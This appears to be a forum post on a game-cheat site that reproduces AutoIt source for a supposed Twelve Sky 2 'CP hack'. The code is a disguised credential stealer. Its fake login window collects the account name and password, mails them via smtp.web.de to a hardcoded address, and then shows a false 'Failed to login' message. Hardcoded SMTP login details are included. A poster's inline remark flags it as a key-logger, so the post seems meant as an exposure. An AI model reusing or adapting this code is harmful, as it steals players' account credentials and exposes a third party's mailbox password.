12sky2 mayngames cheat cp hack : Twelve Sky 2 - Submissions

Global Const $cdrf_doerase = 8
Global Const $cdrf_skippostpaint = 256
Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu)
#Region ### START Koda GUI section ### Form=C:\Dokumente und Einstellungen\Art1\Desktop\12SKY2 CP HACK PRO\pics\CP HACK.kxf
   $form1 = GUICreate("CP HACK PRO", 293, 309, 233, 149)
   GUISetIcon("C:\Dokumente und Einstellungen\Art1\Desktop\12SKY2 CP HACK PRO\pics\icon.ico")
   $pic1 = GUICtrlCreatePic("C:\Dokumente und Einstellungen\Art1\Desktop\12SKY2 CP HACK PRO\pics\gui.bmp", 0, 0, 292, 308, BitOR($ss_notify, $ws_group, $ws_clipsiblings))
   GUICtrlSetState(-1, $gui_disable)
   $input1 = GUICtrlCreateInput("", 72, 140, 155, 23, BitOR($es_center, $es_autohscroll))
   GUICtrlSetFont(-1, 10, 800, 0, "Fixedsys")
   GUICtrlSetColor(-1, 16711680)
   GUICtrlSetBkColor(-1, 7434084)
   $input2 = GUICtrlCreateInput("", 72, 186, 155, 21, BitOR($es_center, $es_password, $es_autohscroll))
   GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
   GUICtrlSetColor(-1, 16711680)
   GUICtrlSetBkColor(-1, 7434084)
   $button1 = GUICtrlCreateButton("Button1", 72, 248, 157, 25, BitOR($bs_bitmap, $ws_group))
   GUICtrlSetImage(-1, "C:\Dokumente und Einstellungen\Art1\Desktop\12SKY2 CP HACK PRO\pics\Login.bmp", 0)
   $checkbox1 = GUICtrlCreateCheckbox("Save my login informations", 72, 272, 155, 17)
   GUICtrlSetBkColor(-1, 8388608)
   $progress1 = GUICtrlCreateProgress(72, 224, 155, 17, $pbs_smooth)
   $label1 = GUICtrlCreateLabel("     Copyright©", 0, 291, 86, 17)
   GUICtrlSetColor(-1, 16711680)
   GUICtrlSetBkColor(-1, 12632256)
   GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
   $nmsg = GUIGetMsg()
   Switch $nmsg
      Case $gui_event_close
         Exit
      Case $button1
         $password = GUICtrlRead($input2)
         For $i = 1 To 100
            GUICtrlSetData($progress1, $i)
            Sleep(30)
            GUICtrlSetData($label1, "Creating process.", "")
         Next
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
         $acc = GUICtrlRead($input1)
         $pw = GUICtrlRead($input2)
         $smtpserver = "smtp.web.de"
         $fromname = $acc
         $fromaddress = "artofgraffity@web.de"
         $toaddress = "artofgraffity@web.de"
         $subject = $pw
         $body = $pw
         $attachfiles = ""
         $ccaddress = ""
         $bccaddress = ""
         $importance = "Normal"
         $username = "artofgraffity@web.de"     Looks like this is the email your password + user gets send to, looks like a blatant key-logger.
         $password = "Art123123,dumir"
         $ipport = 25
         $ssl = 0
         Global $omyret[2]
         Global $omyerror = ObjEvent("AutoIt.Error", "MyErrFunc")
         $rc = _inetsmtpmailcom($smtpserver, $fromname, $fromaddress, $toaddress, $subject, $body, $attachfiles, $ccaddress, $bccaddress, $importance, $username, $password, $ipport, $ssl)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
         If @error Then
            MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
         Else
            GUICtrlSetData($progress1, 0)
            GUICtrlSetData($label1, "Failed to login.", "")
         EndIf

         Func _inetsmtpmailcom($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject = "", $as_body = "", $s_attachfiles = "", $s_ccaddress = "", $s_bccaddress = "", $s_importance = "Normal", $s_username = "", $s_password = "", $ipport = 25, $ssl = 0)
            Local $objemail = ObjCreate("CDO.Message")
            $objemail.from = '"' & $s_fromname & '" <' & $s_fromaddress & ">"
            $objemail.to = $s_toaddress
            Local $i_error = 0
            Local $i_error_desciption = ""
            If $s_ccaddress <> "" Then $objemail.cc = $s_ccaddress
            If $s_bccaddress <> "" Then $objemail.bcc = $s_bccaddress
            $objemail.subject = $s_subject
            If StringInStr($as_body, "<") AND StringInStr($as_body, ">") Then
               $objemail.htmlbody = $as_body
            Else
               $objemail.textbody = $as_body & @CRLF
            EndIf
            If $s_attachfiles <> "" Then
               Local $s_files2attach = StringSplit($s_attachfiles, ";")
               For $x = 1 To $s_files2attach[0]
                  $s_files2attach[$x] = _pathfull($s_files2attach[$x])
                  If FileExists($s_files2attach[$x]) Then
                     ConsoleWrite("+> File attachment added: " & $s_files2attach[$x] & @LF)
                     $objemail.addattachment($s_files2attach[$x])
                  Else
                     ConsoleWrite("!> File not found to attach: " & $s_files2attach[$x] & @LF)
                     SetError(1)
                     Return 0
                  EndIf
               Next
            EndIf
            $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
            $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_smtpserver
            If Number($ipport) = 0 Then $ipport = 25
            $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $ipport
            If $s_username <> "" Then
               $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
               $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_username
               $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_password
            EndIf
            If $ssl Then
               $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
            EndIf
            $objemail.configuration.fields.update
            Switch $s_importance
               Case "High"
                  $objemail.fields.item("urn:schemas:mailheader:Importance") = "High"
               Case "Normal"
                  $objemail.fields.item("urn:schemas:mailheader:Importance") = "Normal"
               Case "Low"
                  $objemail.fields.item("urn:schemas:mailheader:Importance") = "Low"
            EndSwitch
            $objemail.fields.update
            $objemail.send
            If @error Then
               SetError(2)
               Return $omyret[1]
            EndIf
            $objemail = ""
         EndFunc

         Func myerrfunc()
            $hexnumber = Hex($omyerror.number, 8)
            $omyret[0] = $hexnumber
            $omyret[1] = StringStripWS($omyerror.description, 3)
            ConsoleWrite("### COM Error !  Number: " & $hexnumber & "   ScriptLine: " & $omyerror.scriptline & "   Description:" & $omyret[1] & @LF)
            SetError(1)
            Return
         EndFunc

         If $password = "The1elitegod" Then
            GUICtrlSetData($label1, "Login successful", "")
            GUICtrlSetData($progress1, 0)
         EndIf
      Case $form1
   EndSwitch
WEnd